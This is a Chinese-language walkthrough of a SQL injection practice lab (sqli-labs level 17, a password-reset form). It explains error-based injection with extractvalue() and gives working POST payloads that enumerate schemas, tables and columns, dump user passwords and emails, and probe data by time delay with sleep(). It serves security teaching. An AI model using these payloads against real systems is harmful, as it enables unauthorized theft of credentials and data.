本關我們可以看到是一個修改密碼的過程,利用的是update語句,與在用select時是一樣的,我們僅需要將原先的閉合,構造自己的payload。
嘗試報錯
Username:admin
Password:1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
可以看到 admin'' 說明在對密碼的處理過程中使用的是 ' 。
接下來利用盲注進行注入。
這里首先介紹一下如何使用extractvalue()函數進行報錯注入。
extractvalue() :對XML文檔進行查詢的函數
語法:extractvalue(目標xml文檔,xml路徑)
第二個參數 xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。
正常查詢 第二個參數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯
select username from security.users where id=1 and (extractvalue('anything','/x/xx'));
使用concat()拼接 ‘ / ‘ 效果相同,下面語句是在’anything’中查詢 位置是 /database()的內容
select username from security.users where id=1 and (extractvalue('anything',concat('/',(select database()))));
但這里也沒有語法錯誤,不會報錯,下面故意寫入語法錯誤:
select username from security.users where id=1 and (extractvalue('anything',concat('~',(select database()))));
可以看出,以~開頭的內容不是xml格式的語法,報錯,但是會顯示無法識別的內容是什么,這樣就達到了目的。
有一點需要注意,extractvalue()能查詢字符串的最大長度為32,就是說如果我們想要的結果超過32,就需要用substring()函數截取,一次查看32位
這里查詢前5位示意:
select username from security.users where id=1 and (extractvalue('anything',concat('~',substring((select database()),1,5))));
好了,現在我們明白了原理,試一下吧。
首先獲取database()的值
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit
其中0x7e是ASCII編碼,解碼結果為~。
接着可以利用select語句繼續獲取數據庫中的庫名、表名和字段名。查詢語句與union注入的相同。因為報錯注入只顯示一條結果,所以需要使用limit語句限制查詢結果,或者使用group_concat函數將查詢結果打印在一行顯示。
獲取其他數據庫的庫名
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) #&submit=Submit
也可以使用group_concat(schema_name)一次性查詢出所有的數據庫庫名
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) #&submit=Submit
如上圖所示,由於結果只顯示了前32位,我們可以使用substring()函數查看32位以后的數據
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),30,32),0x7e)) #&submit=Submit
獲取當前數據庫的表名
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #&submit=Submit
獲取users表的字段名
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) #&submit=Submit
獲取users表的內容
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3e,password) from users),0x7e)) #&submit=Submit
如上圖所示會報錯:You can't specify target table 'users' for update in FROM clause
不過我們可以使用這種方法爆破別的表
uname=admin &passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,email_id) from emails),0x7e)) #&submit=Submit
當然了,也可以用延時注入,也可以看到時間的延遲的明顯效果
uname=admin&passwd=11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&submit=Submit
其他的方式這里就不演示了。自行思考呦!~
提問:在看源代碼的時候,先進行一次select語句,那為什么我們不從username處進行構造呢?
其實我們可以在源代碼中看到一個函數。check_input()函數。
function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,15); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; }
這里我們介紹幾個函數你就明白了。
★addslashes()
addslashes() 函數返回在預定義字符之前添加反斜杠的字符串。
預定義字符是:
-
單引號(')
-
雙引號(")
-
反斜杠(\)
-
NULL
提示:該函數可用於為存儲在數據庫中的字符串以及數據庫查詢語句准備字符串。
注釋:默認地,PHP 對所有的 GET、POST 和 COOKIE 數據自動運行 addslashes()。所以您不應對已轉義過的字符串使用 addslashes(),因為這樣會導致雙層轉義。遇到這種情況時可以使用函數 get_magic_quotes_gpc() 進行檢測。
語法:addslashes(string)
參數 |
描述 |
string |
必需。規定要轉義的字符串。 |
返回值: |
返回已轉義的字符串。 |
PHP 版本: |
4+ |
★stripslashes()
函數刪除由 addslashes() 函數添加的反斜杠。
★mysql_real_escape_string()
函數轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
-
\x00
-
\n
-
\r
-
\
-
'
-
"
-
\x1a
如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
語法:mysql_real_escape_string(string,connection)
參數 |
描述 |
string |
必需。規定要轉義的字符串。 |
connection |
可選。規定 MySQL 連接。如果未規定,則使用上一個連接。 |
說明:本函數將 string 中的特殊字符轉義,並考慮到連接的當前字符集,因此可以安全用於 mysql_query()。
在我們less17的check_input()中,對username進行各種轉義的處理,所以此處不能使用username進行注入。
參考: